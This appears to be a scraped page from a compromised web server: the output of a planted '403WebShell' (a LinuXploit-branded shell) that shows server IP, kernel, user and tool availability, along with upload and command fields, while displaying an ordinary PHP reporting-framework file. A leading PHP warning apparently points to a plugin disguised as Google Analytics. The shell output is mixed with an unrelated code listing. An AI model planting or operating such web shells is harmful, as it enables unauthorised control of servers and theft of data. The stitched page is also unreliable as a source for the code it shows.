Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_support/modules/database/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_support/modules/database//reportobject.php
<?php

// framework for reporting

class ColumnObject {
	
	private $name = FALSE;
	private $caption = FALSE;
	private $order = 50;
	private $sorted = FALSE;
	private $width = FALSE;		// in pixels
	private $source = FALSE;	// calculate the value to be used in this column
	private $render = FALSE;	// render the value - display it
	private $className = FALSE;
	
	public function __construct() {
	}
	
	function name() {				// fieldname. Required
		if (func_num_args()) {
			$this->name = func_get_arg(0);
			return $this;
		}
		return $this->name;
	}
	
	function caption() {			// label/caption. Required
		if (func_num_args()) {
			$this->caption = func_get_arg(0);
			return $this;
		}
		return $this->caption;
	}
	
	function width() {				// width of column (pixels), optional
		if (func_num_args()) {
			$this->width = func_get_arg(0);
			return $this;
		}
		return $this->width;
	}
	function className() {				// width of column (pixels), optional
		if (func_num_args()) {
			$this->className = func_get_arg(0);
			return $this;
		}
		return $this->className;
	}
	
	function render($callable) {				// render function, Callable, optional. 
		$this->render = $callable;
		return $this;
	}
	function source($callable) {				// function to get the value of the field, Callable, optional. 
		$this->source = $callable;
		return $this;
	}
	
	function order() {				// field order
		if (func_num_args()) {
			$this->order = func_get_arg(0);
			return $this;
		}
		return $this->order;
	}
	
	function sort() {				// should column be sorted by default?  asc / desc / false / none
		if (func_num_args()) {
			$this->sorted = func_get_arg(0);
			return $this;
		}
		return $this->sorted;
	}
	
	//to do: action column: will not have data, may not have caption
	public function AsDataTableDefinition() {
		$definition = [
			'data' => $this->name(),
			'caption' => $this->caption()
		];
		if ($this->width !== FALSE) {
			$definition['width'] = $this->width . 'px';
		};
		if ($this->className !== FALSE) {
			$definition['className'] = $this->className;
		};
		if (is_callable($this->render)) {
			$definition['render'] = ['_' => 'disp', 'sort' => 'val'];
		}
		if ($this->sorted === 'none') {
			$definition['orderable'] = FALSE;
		}
		return $definition;
	}
	
	public function __debugInfo() {
		$onrender = is_callable($this->render);
        return [
            'name' => $this->name,
            'caption' => $this->caption,
            'width' => $this->width,
            'order' => $this->order,
            'sort' => $this->sorted,
			'render' => $onrender,
        ];
    }
	
	// get the field value from the current record
	function value($item) {
		if (is_callable($this->source)) {
			$value = call_user_func($this->source, $item);
		} else {
			$fieldname = $this->name();
			$value = $item->$fieldname;
		}
		if (is_callable($this->render)) {
			$display = call_user_func($this->render, $value, $item);
			return ['disp' => $display, 'val' => $value];
		} else {
			return $value;
		}
	}

}

class ReportObject {
	
	use \modules\database\traits {
			\modules\database\traits::__construct as __ConstructDatabase;
		}
	
	// field definitions
	//		get data from fields
	//		custom formatting of data
	// generate sql - inner joins
	//  custom nav buttons
	// suggested sort column
	// => generate data for datatables
	// => save sort order, filters, pagesize
	private $columns = [];
	private $pagesize = 25;
	private $datasources = [];
	private $sorted = FALSE;
	private $sql;
	
	public function __construct() {
		$this->__ConstructDatabase();
	}

	function pagesize() {				// rows per page: 10, 25, 50 or 100
		if (func_num_args()) {
			$this->pagesize = func_get_arg(0);
			return $this;
		}
		return $this->pagesize;
	}
	
	public function AddColumn() {
		$col = new ColumnObject;
		$this->columns[] = $col;
		$this->sorted = FALSE;
		return $col;
	}
	
	// get the data for the report - use instead of get()
	public function Execute() {
		$result = [];
		$items = $this->get();
		$this->dbErr();
		foreach($items as $item) {
			$node = $this->_parseItem($item);
			$result[] = $node;
		}
		return $result;
	}
	
	private function _parseItem($item) {
		$node = [];
		foreach($this->columns as $col) {
			$fieldname = $col->name();
			$node[$fieldname] = $col->value($item);
		}
		return $node;
	}
	
//	public function SetDatabase($db) {
//		$this->db = $db;
//	}
	
	// Datasource will update sql to provide data for one or more columns
	public function AddDataSource($callback) {
		$this->datasources[] = $callback;
	}
	
	// column order
	private function _sort() {
		if (!$this->sorted) {
			usort($this->columns, function($a, $b) {
				return $a->order() - $b->order();
			});
			$this->sorted = TRUE;
		}
	}
	
	// create a structure for DataTables. Only the definitions, not the data
	public function asDataTablesDefinition(&$res) {
		$this->_sort();
		$columns = [];
		$header = [];
		foreach($this->columns as $col) {
			$columns[] = $col->AsDataTableDefinition();
			$caption = $col->caption();
			if ($caption === FALSE) $caption = '';
			$header[] = ['caption' => $caption];
		}
		$res['datatable'] = [
			'columns' => $columns,
			'order' => array( array( 0, 'asc' )),	// to implement
			'pageLength' => $this->pagesize(),
			'bPaginate' => TRUE,
			'bFilter' => TRUE,
			'bInfo' => TRUE,					// Showing x to y of z entries
		];
		$res['header'] = $header;
	}
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit